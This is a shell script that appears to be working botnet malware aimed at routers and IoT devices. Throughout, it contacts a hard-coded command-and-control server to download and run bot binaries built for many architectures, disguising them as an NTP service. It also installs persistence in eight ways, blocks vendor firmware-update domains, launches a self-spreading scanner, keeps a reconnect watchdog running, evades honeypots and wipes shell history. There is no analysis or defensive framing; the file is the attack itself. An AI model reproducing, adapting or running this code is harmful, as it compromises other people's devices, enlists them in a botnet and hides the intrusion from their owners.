#!/bin/sh
# =============================================================================
# ENI'S PAYLOAD v10 - APOCALYPSE - MAXIMUM INFECTION - ALL ARCHITECTURES 2025
# Puerto :80 + ANTI FORK-BOMB (Proteccion de CPU/RAM del esclavo)
# =============================================================================
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin
export PATH

C2="178.132.198.200"
HTTP_PORT="80"
BASE="http://${C2}:${HTTP_PORT}"

# Anti-ForkBomb 1: Evita que crontab colapse la RAM si el script se solapa
PID_FILE="/tmp/.p_lock"
if [ -f "$PID_FILE" ]; then
    PID=$(cat "$PID_FILE" 2>/dev/null)
    if ps 2>/dev/null | grep -v grep | grep -q "^[[:space:]]*${PID}[[:space:]]"; then
        exit 0
    fi
fi
echo $$ > "$PID_FILE" 2>/dev/null


# Anti-honeypot
uname -a 2>/dev/null | grep -qi "cowrie\|kippo\|honeypot" && exit 0


# =============================================================================
# DESCARGA - funcion poliglota
# =============================================================================
dl() {
    URL="${BASE}/bins/$1"
    OUT="$1"
    wget  -qO  "$OUT" "$URL" 2>/dev/null && return 0
    curl  -sfo "$OUT" "$URL" 2>/dev/null && return 0
    busybox wget -qO "$OUT" "$URL" 2>/dev/null && return 0
    tftp -g -r "bins/$1" -l "$OUT" "$C2" 2>/dev/null && return 0
    busybox tftp -g -r "bins/$1" -l "$OUT" "$C2" 2>/dev/null && return 0
    python3 -c "import urllib.request; urllib.request.urlretrieve('$URL','$OUT')" 2>/dev/null && return 0
    python  -c "import urllib; urllib.urlretrieve('$URL','$OUT')" 2>/dev/null && return 0
    (exec 3<>/dev/tcp/${C2}/${HTTP_PORT} 2>/dev/null
     printf "GET /bins/$1 HTTP/1.0\r\nHost: ${C2}\r\n\r\n" >&3
     sleep 1; dd bs=1 skip=1 of="$OUT" <&3 2>/dev/null) && return 0
    return 1
}

# Detectar arquitectura y bajar
ARCH=$(uname -m 2>/dev/null)
case "$ARCH" in
    mipsel)   PREF="v11_mipsel v11_mips v11_x86" ;;
    mips*)    PREF="v11_mips v11_mipsel v11_x86" ;;
    armv7*|armv6*) PREF="v11_arm4 v11_armhf v11_x86" ;;
    aarch64)  PREF="v11_arm64 v11_arm4 v11_x86" ;;
    i686|i386) PREF="v11_x86 v11_x86_32 v11_mips" ;;
    x86_64)   PREF="v11_x86_64 v11_x86 v11_x86_32" ;;
    *)        PREF="v11_arm4 v11_mips v11_mipsel v11_x86 v11_x86_32 v11_x86_64 v11_armhf v11_sh4 v11_m68k v11_powerpc" ;;
esac

for BINNAME in $PREF; do
    dl "$BINNAME" || continue
    chmod 777 "$BINNAME" 2>/dev/null
    mv "$BINNAME" ntp_sys 2>/dev/null
    ./ntp_sys >/dev/null 2>&1 &
    rm -f ntp_sys 2>/dev/null
    sleep 2
    ps 2>/dev/null | grep -v grep | grep -q "ntp_sys" && break
    pidof ntp_sys >/dev/null 2>&1 && break
done

# =============================================================================
# PERSISTENCIA - 8 VECTORES
# =============================================================================
ME="wget -qO- ${BASE}/payload_v10.sh|sh||curl -s ${BASE}/payload_v10.sh|sh||busybox wget -qO- ${BASE}/payload_v10.sh|sh"

(crontab -l 2>/dev/null | grep -v "${C2}"; echo "0 * * * * $ME >/dev/null 2>&1") | crontab - 2>/dev/null
echo "0 * * * * $ME >/dev/null 2>&1" >> /var/spool/cron/root 2>/dev/null
echo "0 * * * * $ME >/dev/null 2>&1" >> /var/spool/cron/crontabs/root 2>/dev/null
echo "0 * * * * $ME >/dev/null 2>&1" >> /etc/crontabs/root 2>/dev/null

grep -q "$C2" /etc/rc.local 2>/dev/null || {
    sed -i 's/exit 0//' /etc/rc.local 2>/dev/null
    printf '%s &\nexit 0\n' "$ME" >> /etc/rc.local 2>/dev/null
    chmod +x /etc/rc.local 2>/dev/null
}

grep -q "$C2" /etc/profile 2>/dev/null || echo "$ME >/dev/null 2>&1 &" >> /etc/profile 2>/dev/null
echo "$ME >/dev/null 2>&1 &" >> ~/.bashrc 2>/dev/null
echo "$ME >/dev/null 2>&1 &" >> ~/.profile 2>/dev/null

cat > /etc/init.d/ntpsys 2>/dev/null << EOFINIT
#!/bin/sh
${ME} &
EOFINIT
chmod +x /etc/init.d/ntpsys 2>/dev/null
ln -sf /etc/init.d/ntpsys /etc/rc2.d/S99ntpsys 2>/dev/null
ln -sf /etc/init.d/ntpsys /etc/rc3.d/S99ntpsys 2>/dev/null
ln -sf /etc/init.d/ntpsys /etc/rcS.d/S99ntpsys 2>/dev/null

cat > /etc/systemd/system/ntpsys.service 2>/dev/null << EOFSVC
[Unit]
Description=NTP Synchronization
After=network.target
[Service]
Type=simple
ExecStart=/bin/sh -c "${ME}"
Restart=always
RestartSec=300
[Install]
WantedBy=multi-user.target
EOFSVC
systemctl daemon-reload 2>/dev/null
systemctl enable ntpsys 2>/dev/null
systemctl start ntpsys 2>/dev/null

cat > /etc/network/if-up.d/ntpsys 2>/dev/null << EOFIFUP
#!/bin/sh
${ME} &
EOFIFUP
chmod +x /etc/network/if-up.d/ntpsys 2>/dev/null

nvram set rc_startup="$ME" 2>/dev/null && nvram commit 2>/dev/null

for FW_HOST in update.huawei.com upgrade.huawei.com firmware.tp-link.com \
    update.dlink.com fwupdate.asus.com update.netgear.com \
    tr069.claro.com.ar tr069.telecom.com.ar update.mikrotik.com; do
    grep -q "$FW_HOST" /etc/hosts 2>/dev/null || echo "127.0.0.1 $FW_HOST" >> /etc/hosts 2>/dev/null
done

# =============================================================================
# ZOMBIE SCANNER - Solo lanzarlo si no esta corriendo
# =============================================================================
if ! ps 2>/dev/null | grep -v grep | grep -q "zombie_scanner"; then
    wget  -qO /tmp/.zs "${BASE}/zombie_scanner_v15.sh" 2>/dev/null || \
    curl  -s   "${BASE}/zombie_scanner_v15.sh" -o /tmp/.zs 2>/dev/null || \
    busybox wget -qO /tmp/.zs "${BASE}/zombie_scanner_v15.sh" 2>/dev/null

    if [ -s /tmp/.zs ]; then
        chmod +x /tmp/.zs 2>/dev/null
        sh /tmp/.zs >/dev/null 2>&1 &
    fi
fi

# =============================================================================
# RECONEXION AL CNC - Watchdog seguro (Evita fork bombs!)
# =============================================================================
# Solo creamos el watchdog si no existe en memoria
if ! ps 2>/dev/null | grep -v grep | grep -q "\.wd\.sh"; then
    cat > /tmp/.wd.sh << 'EOFWD'
#!/bin/sh
WAIT=30
MAX_WAIT=300
while true; do
    sleep $WAIT
    CONNECTED=0
    ss -tn 2>/dev/null | grep -q ":80\|:9999" && CONNECTED=1
    netstat -tn 2>/dev/null | grep -q ":80\|:9999" && CONNECTED=1
    (echo > /dev/tcp/178.132.198.200/9999) 2>/dev/null && CONNECTED=1

    if [ "$CONNECTED" = "0" ]; then
        wget -qO- "http://178.132.198.200:80/payload_v10.sh" 2>/dev/null | sh &
        WAIT=$((WAIT * 2))
        [ "$WAIT" -gt "$MAX_WAIT" ] && WAIT=$MAX_WAIT
    else
        WAIT=30
        ps 2>/dev/null | grep -v grep | grep -q "zombie_scanner" || \
            wget -qO- "http://178.132.198.200:80/zombie_scanner_v15.sh" 2>/dev/null | sh &
    fi
done
EOFWD
    chmod +x /tmp/.wd.sh 2>/dev/null
    /tmp/.wd.sh >/dev/null 2>&1 &
fi

rm -f ~/.bash_history /root/.ash_history /root/.sh_history 2>/dev/null
history -c 2>/dev/null
exit 0